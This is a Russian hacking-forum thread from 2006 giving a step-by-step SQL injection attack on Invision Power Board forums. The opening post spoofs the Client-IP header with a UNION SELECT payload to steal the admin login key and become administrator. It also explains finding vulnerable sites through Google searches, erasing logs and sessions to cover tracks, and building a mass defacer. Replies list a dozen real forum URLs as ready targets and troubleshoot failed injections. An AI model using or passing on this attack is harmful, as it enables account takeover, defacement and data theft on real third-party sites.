ipb one step hack

ZXroot

(L3) cache
Пользователь
Регистрация
26.05.2006
Сообщения
235
Реакции
2
Видео: скачать

Статья:

В предыдущем видео я рассмотрел, как взломать IPB в два шага, (+ нахождение бажного форума) за 5 минут, без сессий и без брута. Продолжив исследование этого популярного форума, я понял, что зачем терять один шаг? Теперь будем ломать IPB в один шаг: нахождение бажного форума.

Итак, качай программу "The Proxomitron", далее подключи фильтры "Headers" и создай новый: Client-ip с содержанием:

' UNION SELECT `member_login_key`,1,1,1 FROM `ibf_members` WHERE `id`='1'/*

[как мы все помним, разработчики IPB - IPS допустили sql-inj в ipclass, т.е. недостаточно проверяют это значение Client-IP]

теперь добавь фильтру статус "In" и "Out". Далее иди на уязвимый форум и проставь в браузере "Proxy" равным localhost:8192. Далее обнови страницу форума и (о, чудо!) ты появился на форуме под ником первого пользователя - админа. Можешь просмотреть список всех админов/модераторов и побыть каждым из них, подставляя нужный id в форуме.
Подменой строки мы убиваем сразу двух зайцев:
1 заяц: ip админа, его мы оставляем без заполнения
2 заяц: передаём нужную информацию, точнее хеш админа

Ты, вестимо, замечал, что форум передаёт в куках хеш админа, его-то мы и засвечиваем в передаваемых строках.

P.S.: теперь карты в руки программистам: при помощи этого простого метода можно накрапать массдефейсер: используя компоненты под perl (http, www) можно запустить массовый тест форумов на ipb, в котором в тексте страницы проверялась строка "Админцентр" или "Admin CP". Ну, а далее составление списка этих самых сайтов.
 
Part III:

Найти уязвимый форум очень просто. В header `Client-ip` пиши:

'

И всё. Далее диктуй google: Powered by Invision Power Board 2.1.* ©. Потом открывай страницы в новых вкладках (надеюсь ты юзаешь MDI браузер, или хотя бы MDI-надстройки над IE) и жди, когда в заголовке одной из страниц появится одна простая надпись: IPS Driver Error. В тексте страницы ты увидишь:

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
mySQL query error: SELECT id, member_id, running_time,
location FROM noibf_sessions WHERE //в это строке засвечен нужный префикс. В данном случае "noibf_"
id='7012db11a18eb9fae62836e78267e296' AND ip_address=''' //тут засвечен подменённый Header

SQL error: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the
right syntax to use near ''''' at line 1 //IPS Driver повторно показывает, где мы допустили "ошибку"
SQL error code:
Date: 11.9.2004, 18:51
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

Все страницы без этой надписи закрывай, смотри на ошибки, которые тебе выдаёт IPS Driver и подставляй нужные префиксы таблиц. Т.е. вид конечного header `Client-ip` должен выглядеть, так:

' UNION SELECT `member_login_key`,1,1,1 FROM `necessary_prefix_members` WHERE `id`='1'/*


Далее, можешь обновлять страницу и...ты админ.
P.S.: также, если ты по методу NHNB получишь доступ в админку и захочешь остаться неизвестным или просто подшутить над горе-админом забывшим обновить ipb, а проксы менять тебе неохота, то запускай свой браузер по второму методу, через proxomitron и меняй header на его последнее значение. Обнови страницу, админка выругается, что, мол, такого IP в нашем списке нету. Теперь жми в proxomitron'е кнопку bypass и обновляй страницу. Теперь смотрим в логи, можно и просто вниз страницу прокрутить по последнему действию админа и ты увидешь там надпись: ' UNION SELECT `member_login_key`. Вот таким образом ты сможешь ввести в ступор админа. Можешь, конечно, вписать что-то вроде: DAMAGELAB.XAKCOP, но это уже на твоё усмотрение... В админских логах твой ip, естевственно останется, но там есть очистки логов. Также можешь очистить все сессии через sql-утилиту от ipb. Команда очистки таблицы:

TRUNCATE `name_of_table`

****************************
Увы, но всему хорошему приходит конец. Базе google сделали, так сказать, вырезание некоторых данных. При наборе "Powered by Invison Power Board v2.1.*" он выдаст не 10 страниц (по сто запросов на страницу), а одну или две. Вот так вот. С 2.1.7 такая же история.
*********************************
Итак, товарищи, ваше время ещё не прошло! Вы набираете "Powered by Invision Power Board v2.1.6" и гугл вам ничего не выдаёт? Тогда измените запрос на "Powered by Invision Power Board "v2.1.6"" и теперь вам откроются новые горизонты
 
Это все, бесспорно, интересно и познавательно. Только от массдефейсера проку маловато. Нужно стремится не к деконструкции, а к самосовершенствованию. Ну, или, на крайняк, к беспалевности. Ибо, заимев доступ над хэшем администратора, мы сможем редактировать темы, удалять сообщения... словом, заимеем доступ ко всем мелким радостям супермода. Админ же славен тем, что имеет доступ в Святая Святых - Админцентр. Ужасное слово, но, тем не менее, там очень весело, забавно и "багато ризных пынгвынив та иншых представныкив жывотной фауны". Но это так, прелюдия. А с основной проблемой я столкнулся, когда узнал,что UPDATE на потенциальных форумах-жертвах выполняется довольно криво, если не сказать резче - не выполняется вообще. Плевать, как ты пытался его выполнить - модернизировав эксплоит от RST или использовав уловку с Proxomitron'ом - наглый IPB, довольно ухмыляясь, покажет тебе дулю. Метод с INSERT INTO тоже работает... м... так же, как и предыдущий (разве что за тем исключением, что метод с Проксомитроном отпадает: длина строки ввода ограничена). Естественно, вопрос: каким образом можно обновить информацию уже существующего админа (вопрос не к топикстартеру, мы с ним эту тему уже обсуждали, а так, "в толпу" :) ) либо создать нового (ясен пень, что не через Админцентр).

Засим разрешите откланяться, навеки Ваш, Sanchous
 
HTTP/1.1 200 OK
Server: nginx/0.1.45
Date: Wed, 13 Sep 2006 16:27:14 GMT
Content-Type: text/html
Vary: Accept-Encoding
X-Powered-By: PHP/4.3.9
Set-Cookie: session_id=55222d7c61936409f1dd9b28511b3654; path=/
Set-Cookie: member_id=118; expires=Thu, 13-Sep-07 16:27:14 GMT; path=/
Set-Cookie: pass_hash=1de58fecfd41778bb8512efa8b1c0634; expires=Thu, 13-Sep-07 16:27:14
GMT; path=/
Set-Cookie: coppa=0; path=/
Set-Cookie: session_id=9fa62e5f10ad3198a4d34e227cda4c42; path=/
Client-ip: ' UNION SELECT `member_login_key`,1,1,1 FROM `ibf_members` WHERE `id`='1'/*
Connection: close

вот что мне выдало..
помагите .... вроде все правильно сделал..
 
Натыркал тут, для ленивых :)

http://forum.vetby.com/
http://animeshka.org.ua/forum/index.php
http://forum.torg.uz/
http://sapr2000.ru/invision/
http://forum.rg-soft.com/
http://lrtpp.lg.ua/forum/index.php?act=idx
http://www.city-fm.ru/forum/index.php
http://www.sapr2000.ru/invision/
http://forum.emu.kz/index.php
http://www.petro.ru/
http://gta.keiby.com/forum/index.php
http://castle.fasty.net/forums/index.php

Кста, у меня почему то получилось только на 2,0,* версии форума..
на 2,1,6 постоянно говорит:


mySQL query error: DELETE FROM l2_sessions WHERE ip_address='' UNION SELECT `member_login_key`,1,1,1 FROM `ibf_members` WHERE `id`='1'/*'

SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT `member_login_key`,1,1,1 FROM `ibf_members` WHERE `id`='1'/*'' at line 1
SQL error code:
Date: 15.9.2006, 4:46
-----------

Мож я чет не так делаю? <_<
 
Мож я чет не так делаю? dry.gif
просто там используются другие запросы. конкретно, видимо сначала вызывается запрос DELETE для удаления сессии. А к запросу DELETE нельзя приклеить другой - синтаксическая ошибка, которую ты и видишь.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх